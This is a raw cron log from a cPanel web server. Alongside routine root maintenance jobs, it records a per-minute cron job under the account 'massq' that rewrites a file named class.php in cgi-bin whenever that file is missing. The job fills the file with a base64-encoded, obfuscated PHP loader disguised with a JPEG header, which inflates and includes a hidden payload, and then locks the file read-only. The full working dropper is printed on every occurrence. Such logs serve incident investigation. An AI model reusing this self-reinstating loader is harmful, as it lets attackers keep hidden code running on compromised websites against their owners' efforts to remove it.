Sep 10 16:34:01 server CROND[30391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:34:01 server CROND[30393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:35:01 server CROND[30872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:35:01 server CROND[30873]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:35:01 server CROND[30881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:35:01 server CROND[30885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:35:01 server CROND[30884]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 16:35:01 server CROND[30888]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:35:01 server CROND[30889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:35:01 server CROND[30886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:35:01 server CROND[30887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:36:01 server CROND[31704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:36:01 server CROND[31705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:36:01 server CROND[31706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:37:01 server CROND[32074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:37:01 server CROND[32075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:37:01 server CROND[32076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:38:01 server CROND[32448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:38:01 server CROND[32449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:38:01 server CROND[32450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:39:01 server CROND[375]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 16:39:01 server CROND[376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:39:01 server CROND[377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:39:01 server CROND[378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:40:01 server CROND[892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:40:01 server CROND[893]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:40:01 server CROND[895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:40:01 server CROND[901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:40:01 server CROND[898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:40:01 server CROND[900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:40:01 server CROND[897]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:40:01 server CROND[899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:41:01 server CROND[1828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:41:01 server CROND[1829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:41:01 server CROND[1830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:42:01 server CROND[2230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:42:01 server CROND[2231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:42:01 server CROND[2232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:42:01 server CROND[2233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:43:01 server CROND[2615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:43:01 server CROND[2614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:43:01 server CROND[2616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:44:01 server CROND[3017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:44:01 server CROND[3018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:44:01 server CROND[3019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:45:01 server CROND[3497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:45:01 server CROND[3499]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:45:01 server CROND[3500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:45:01 server CROND[3501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:45:01 server CROND[3503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:45:01 server CROND[3502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
